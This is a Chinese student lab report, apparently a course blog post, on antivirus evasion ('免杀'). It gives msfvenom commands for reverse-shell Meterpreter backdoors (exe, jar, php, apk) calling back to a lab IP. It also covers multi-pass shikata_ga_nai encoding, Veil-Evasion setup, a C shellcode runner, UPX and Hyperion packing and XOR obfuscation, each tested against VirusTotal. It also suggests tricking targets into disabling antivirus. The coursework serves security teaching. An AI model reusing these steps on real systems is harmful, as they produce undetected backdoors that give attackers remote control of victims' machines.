方法
正确使用msf编码器
msfvenom生成如jar之类的其他文件
veil
加壳工具
使用C + shellcode编程
使用其他课堂未介绍方法
通过组合应用各种技术实现恶意代码免杀。
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
1.基于特征码的检测
2.启发式恶意软件检测
3.基于行为的恶意软件检测
1.改变特征码
有EXE —— 加壳:压缩壳 加密壳。
有shellcode(像Meterpreter)—— 用encode进行编码 /基于payload重新编译生成可执行文件。
有源代码 —— 用其他语言进行重写再编译(veil-evasion)。
2.改变行为
通讯方式:尽量使用反弹式连接 / 使用隧道技术 / 加密通讯数据
操作模式:基于内存操作 / 减少对系统的修改 / 加入混淆作用的正常功能代码
3.非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件。
基于特征码的检测:如果一个可执行文件(或其他运行的库、脚本等)包含被标记过特征的数据则被认为是恶意代码。
启发式恶意软件检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,它就被当做了恶意软件。
基于行为的恶意软件检测:相当于是启发式的一种,或者是加入了行为监控的启发式。
改变特征码:进行exe文件加壳操作,或者对shellcode用encode进行编码或者基于payload重新编译生成可执行文件。
改变行为:使用反弹式连接、隧道技术与加密通讯的数据。同时加入正常功能代码、尽量减少对系统的修改。
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件。
对在实验二中生成的20175213_backdoor.exe 后门程序通过VirusTotal和VirSCAN两个网站进行检测。
使用VirusTotal扫描后结果如下,其中72个软件有59个都检测出来了


下面进行一次编码的后门程序:
命令为:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.111.130 LPORT=5213 -f exe > bd1.exe
其中,-e选择编码器;-b是payload中需要清除的字符,为了使\x00‘不出现在shellcode中。
生成过程如图:

使用VirusTotal检测如下:

进行十次编码:
使用-i设置迭代次数。
命令为:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00‘ LHOST=192.168.111.130 LPORT=5213 -f exe > bd10.exe
生成过程如图:

使用VirusTotal检测如下:

从上面的结果可见,多次编码对于免杀没有太大的帮助。查看了同学的博客后,知道有两点原因:
1.shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。
2.msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码侦测,这样就能解决所有msfvenom生成的恶意代码了。
生成jar文件:
生成命令为:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.111.130  LPORT=5213 x> 20175213java.jar
生成过程如图:

使用VirusTotal检测如下:


生成php文件:
生成命令为:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 x> 20175213php.php
生成过程如图:

使用VirusTotal检测如下(较jar文件效果更好):

生成apk文件:
生成命令为:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 x> 20175213android.apk
生成过程如图:

使用VirusTotal检测如下(效果一般):

sudo apt-get install veil 安装veil,需要选的第地方输入y。
veil继续安装,并输入y。

安装成功后,在sudo模式下输入veil指令进入。
输入use evasion命令进入veil-evasion。

use c/meterpreter/rev_tcp.py 进入配置界面。
set LHOST 192.168.111.130;并设置端口,命令为set LPORT 5213。
generate生成文件,接着输入生成的playload的名称veil_c_5213 ,保存路径为:/var/lib/veil/output/source/veil_c_5213.exe。


msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 -f c生成一段shellcode,截图如下:
vim 20175213.c,将生成的buf [ ] 赋值到下列代码中:unsigned char buf[] = 
(复制的内容)
int main() 
{ 
    int (*func)() = (int(*)())buf; 
    func(); 
}

i686-w64-mingw32-g++ 20175213.c -o 20175213.exe 命令,将.c文件转化为可执行文件。

upx 20175213.exe -o 20175213_upxed.exe对上一步中生成的20175213.exe 加压缩壳得到20175213_upxed.exe。

wine hyperion.exe -v 20175213_upxed.exe 20175213_upxed_Hyperion.exe 进行二次加壳。

对shellcode进行免杀变形:
用msfvenom生成shellcode。
将shellcode中每一位于‘0‘进行异或。
将异或后的shellcode再与0进行依次异或,目的是取消shellcode的特征码,可以减小被杀软检测到的概率。
将最终的shellcode生成为一个可执行文件。
使用VirusTotal检测结果:

组合思路:用msfvenom生成一个raw格式的shellcode,使用ShellcodeWrapper对shellcode进行xor加密,将生成的c++源码编译生成exe
使用360检测截图如下(因为腾讯安全管家不太好使...)




sudo apt-get install mingw-w64安装所需环境即可。



cp 原目标文件路径/文件名 目标路径
这一次实验又是一次大长跑,分了两次去完成,第二次也从中午弄到晚上。veil的安装也令人抓狂,龟速的安装、各种中断错误...。不过好在还是圆满完成这一次实验,也从中学到了很多有用又好玩的东西,在一次次的查阅中也能不断提高自己。
2019-2020-2 网络对抗技术 20175213吕正宏 Exp3 免杀原理与实践
原文:https://www.cnblogs.com/LZHNB/p/12601956.html